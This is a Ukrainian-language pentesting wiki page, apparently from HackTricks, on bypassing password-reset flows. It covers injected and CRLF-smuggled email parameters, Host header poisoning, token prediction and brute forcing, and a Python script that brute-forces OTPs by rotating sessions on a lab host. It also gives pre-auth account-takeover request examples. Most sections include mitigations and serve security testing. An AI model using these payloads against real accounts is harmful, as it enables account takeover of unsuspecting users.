Обхід скидання/забутого пароля

Reading time: 10 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Токен скидання пароля Leak через заголовок referer

  • HTTP referer header може leak токен скидання пароля, якщо він включений у URL. Це може трапитися, коли користувач переходить за посиланням на сторонньому сайті після запиту скидання пароля.
  • Вплив: Потенційне захоплення облікового запису через Cross-Site Request Forgery (CSRF).
  • Експлуатація: Щоб перевірити, чи leak password reset token у referer header, запросіть скидання пароля на вашу електронну адресу та натисніть на надане посилання для скидання. Не змінюйте свій пароль одразу. Натомість перейдіть на сторонній вебсайт (наприклад Facebook або Twitter) під час перехоплення запитів за допомогою Burp Suite. Перевірте запити, щоб побачити, чи referer header містить password reset token, оскільки це може розкрити чутливу інформацію третім особам.
  • Посилання:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Вплив: Може призвести до потенційного захоплення облікового запису через leak reset tokens атакуючому.
  • Кроки пом'якшення:
  • Validate the Host header against a whitelist of allowed domains.
  • Use secure, server-side methods to generate absolute URLs.
  • Патч: Використовувати $_SERVER['SERVER_NAME'] для побудови URL-адрес скидання пароля замість $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Скидання пароля шляхом маніпуляції параметром email

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • Додайте електронну адресу атакуючого як другий параметр, використовуючи &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Додати attacker email як другий параметр, використавши %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Додайте attacker email як другий параметр, використовуючи |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Додати електронну адресу зловмисника як другий параметр, використовуючи cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Додайте електронну адресу зловмисника як другий параметр, використовуючи bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Додайте attacker email як другий параметр використовуючи ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Додати електронну адресу зловмисника як другий параметр у масиві JSON
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Зміна Email та Password будь-якого користувача через API-параметри

  • Зловмисники можуть змінювати параметри email та password у API-запитах, щоб змінити облікові дані аккаунта.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Кроки пом'якшення:
  • Забезпечити сувору валідацію параметрів та перевірки автентифікації.
  • Реалізувати надійне логування та моніторинг для виявлення та реагування на підозрілі дії.
  • Джерело:
  • Full Account Takeover via API Parameter Manipulation

Відсутність обмеження частоти: Email Bombing

  • Відсутність обмеження частоти запитів на скидання пароля може призвести до email bombing, що переповнить користувача листами для скидання пароля.
  • Кроки пом'якшення:
  • Впровадити обмеження частоти на основі IP-адреси або облікового запису користувача.
  • Використовувати CAPTCHA, щоб запобігти автоматизованому зловживанню.
  • Посилання:
  • HackerOne Report 280534

Дізнатися, як генерується токен скидання пароля

  • Розуміння патерну або методу генерації токена може дозволити передбачити або перебрати токени. Деякі варіанти:
  • На основі часової мітки (timestamp)
  • На основі UserID
  • На основі email користувача
  • На основі імені та прізвища
  • На основі дати народження
  • На основі криптографії
  • Кроки пом'якшення:
  • Використовувати надійні криптографічні методи для генерації токенів.
  • Забезпечити достатню випадковість та довжину, щоб уникнути передбачуваності.
  • Інструменти: Використовуйте Burp Sequencer для аналізу випадковості токенів.

Передбачуваний UUID

  • Якщо UUID (версії 1) є вгадуваними або передбачуваними, атакувальники можуть перебрати їх, щоб згенерувати дійсні токени скидання. Перевірте:

UUID Insecurities

  • Кроки пом'якшення:
  • Використовуйте GUID версії 4 для випадковості або реалізуйте додаткові заходи безпеки для інших версій.
  • Інструменти: Використовуйте guidtool для аналізу та генерації GUID.

Маніпуляція відповіддю: замінити помилкову відповідь на коректну

  • Маніпуляція HTTP-відповідями для обходу повідомлень про помилки або обмежень.
  • Кроки пом'якшення:
  • Реалізувати перевірки на стороні сервера, щоб гарантувати цілісність відповідей.
  • Використовувати захищені канали зв'язку, такі як HTTPS, щоб запобігти MITM-атакам.
  • Джерело:
  • Critical Bug in Live Bug Bounty Event

Використання простроченого токена

  • Тестування того, чи можна використовувати прострочені токени для скидання пароля.
  • Кроки пом'якшення:
  • Впровадити суворі політики терміну дії токенів і перевіряти їх прострочення на стороні сервера.

Перебір токена скидання пароля

  • Спроба перебору токена скидання пароля з використанням інструментів на кшталт Burpsuite і IP-Rotator для обходу обмежень за IP.
  • Кроки пом'якшення:
  • Реалізувати надійні механізми обмеження частоти та блокування облікового запису.
  • Моніторити підозрілі дії, що вказують на перебор (brute-force).

Спроба використання токена

  • Перевірка того, чи може токен атакувальника використовуватись разом з email потерпілого.
  • Кроки пом'якшення:
  • Переконатися, що токени прив'язані до сесії користувача або інших атрибутів, специфічних для користувача.

Інвалідація сесій при виході/скиданні пароля

  • Переконатися, що сесії інвалідуються, коли користувач виходить або скидає пароль.
  • Кроки пом'якшення:
  • Реалізувати правильне керування сесіями, забезпечивши інвалідацію всіх сесій після виходу або скидання пароля.

Інвалідація сесій при виході/скиданні пароля

  • Токени скидання повинні мати час життя, після якого вони стають недійсними.
  • Кроки пом'якшення:
  • Встановити розумний термін дії токенів скидання і суворо його перевіряти на стороні сервера.

OTP rate limit bypass by changing your session

  • Якщо сайт використовує сесію користувача для відстеження невдалих спроб введення OTP і OTP був слабким ( <= 4 цифри), тоді ми можемо ефективно перебрати OTP.
  • експлуатація:
  • просто запросіть новий токен сесії після блокування сервером.
  • Приклад коду, який експлуатує цю уразливість шляхом випадкового вгадування OTP (коли ви змінюєте сесію, OTP також зміниться, тому ми не зможемо послідовно перебрати його!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Деякі реалізації надають endpoint для зміни пароля, який викликає процедуру зміни пароля з skipOldPwdCheck=true і не перевіряє жодного reset token або приналежності. Якщо endpoint приймає параметр action, наприклад change_password, і username/new password у тілі запиту, атакувальник може скинути довільні облікові записи pre-auth.

Вразливий патерн (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation запит (концепція):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Міри пом'якшення:

  • Завжди вимагайте дійсний, обмежений у часі reset token, прив'язаний до облікового запису та сесії перед зміною пароля.
  • Ніколи не відкривайте шляхи skipOldPwdCheck для неавторизованих користувачів; вимагайте автентифікацію для звичайної зміни пароля та перевіряйте старий пароль.
  • Анулюйте всі активні сесії та токени скидання після зміни пароля.

Registration-as-Password-Reset (Upsert on Existing Email)

Деякі застосунки реалізують signup handler як upsert. Якщо електронна пошта вже існує, обробник мовчки оновлює запис користувача замість відхилення запиту. Коли registration endpoint приймає мінімальне JSON тіло з існуючою електронною поштою та новим паролем, це фактично стає pre-auth password reset без будь‑якої перевірки прав власності, що дозволяє повний account takeover.

Pre-auth ATO PoC (перезапис пароля існуючого користувача):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks